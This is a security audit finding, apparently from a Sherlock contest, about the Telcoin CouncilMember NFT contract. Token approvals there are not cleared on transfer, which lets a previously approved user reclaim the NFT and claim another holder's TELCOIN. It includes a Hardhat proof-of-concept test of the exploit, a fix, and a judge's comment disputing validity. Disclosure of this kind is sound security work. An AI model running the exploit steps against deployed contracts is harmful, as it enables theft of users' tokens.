sobieski - Approvals are not cleared upon CouncilMember NFT transfers, allowing malicious holder to steal undue TELCOIN tokens

[sherlock-admin]

sobieski

high

Approvals are not cleared upon CouncilMember NFT transfers, allowing malicious holder to steal undue TELCOIN tokens

Summary

The CouncilMember token utilizes custom approval logic that allows the owner of GOVERNANCE_COUNCIL_ROLE to approve users to spend specific tokens. These approvals are not cleared when the tokens are spent, which allows malicious user to reclaim previously spent tokens and steal the TELCOIN balance of new token owners.

Vulnerability Detail

The CouncilMember.sol contract implements custom approval logic in place of the methods inherited from OpenZeppelin's contracts. This implementation consist of a storage mapping _tokenApproval and a corresponding approve() method:

function approve(
        address to,
        uint256 tokenId
    )
        public
        override(ERC721Upgradeable, IERC721)
        onlyRole(GOVERNANCE_COUNCIL_ROLE)
    {
        _tokenApproval[tokenId] = to;
        emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
    }

The contract overrides OpenZeppelin's _isAuthorized() method with custom implementation that checks if the msg.sender has the GOVERNANCE_COUNCIL_ROLE or is authorized for spending the specified token ID. The aforementioned _tokenApproval mapping is used for the latter.

function _isAuthorized(
        address,
        address spender,
        uint256 tokenId
    ) internal view override returns (bool) {
        return (hasRole(GOVERNANCE_COUNCIL_ROLE, spender) ||
            _tokenApproval[tokenId] == spender);
    }

The issue is the approvals in _tokenApproval mapping are not cleared upon token transfers. This is in contradiction with ERC721 specification and allows for the following scenario:

1. Admin (GOVERNANCE_COUNCIL_ROLE) approves Alice for spending her NFT.
2. Alice sends the NFT to Bob.
3. Some amount of TELCOIN tokens has been retrieved from Sablier stream and distributed between token holders. Bob has the right to claim portion of it as a rightful owner of a NFT.
4. Alice notices this and transfers the NFT back to herself, utilizing the approval which has not been cleared.
5. Now Alice can claim the TELCOINs rightfully belonging to Bob

The POC for the issue is provided below. Please paste it into CouncilMember.test.ts test suite.

describe("POC", () => {
            it.only("Approved NFT spender can re-claim NFT", async () => {
                await telcoin.transfer(await stream.getAddress(), 100000);
                /* 1. Mint NFT to member */
                await expect(councilMember.mint(member.address)).to.not.reverted;
                /* 2. Admin approves member to spend their NFT */
                await councilMember.approve(member.address, 0);                
                expect(await councilMember.ownerOf(0)).to.equal(member.address);
                /* 3. Member sends the NFT to support */
                await councilMember.connect(member).transferFrom(member.address, support.address, 0);                
                expect(await councilMember.ownerOf(0)).to.equal(support.address);
                /* 4. The approval was not cleared - member can reclaim NFT and steal the balance */
                await councilMember.connect(member).transferFrom(support.address, member.address, 0);                
                expect(await councilMember.ownerOf(0)).to.equal(member.address);
                await expect(councilMember.connect(member).claim(0, 100)).to.not.reverted;
            });            
 })

Impact

High, as the tokens are directly at risk.

Code Snippet

https://github.com/sherlock-audit/2024-01-telcoin/blob/0954297f4fefac82d45a79c73f3a4b8eb25f10e9/telcoin-audit/contracts/sablier/core/CouncilMember.sol#L199

Tool used

Manual Review

Recommendation

Clear the approvals on transfer. Add the following method to CouncilMember.sol contract:

+ function transferFrom(address from, address to, uint256 tokenId) public override(ERC721Upgradeable, IERC721) {
+       super.transferFrom(from, to, tokenId);
+	delete _tokenApproval[tokenId];
+ }

Duplicate of #35

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid because { This is invalid because sending the NFT out is considerd a malicious act and not even allowed by the protocol; so its a consequences of doing something that is not allowed}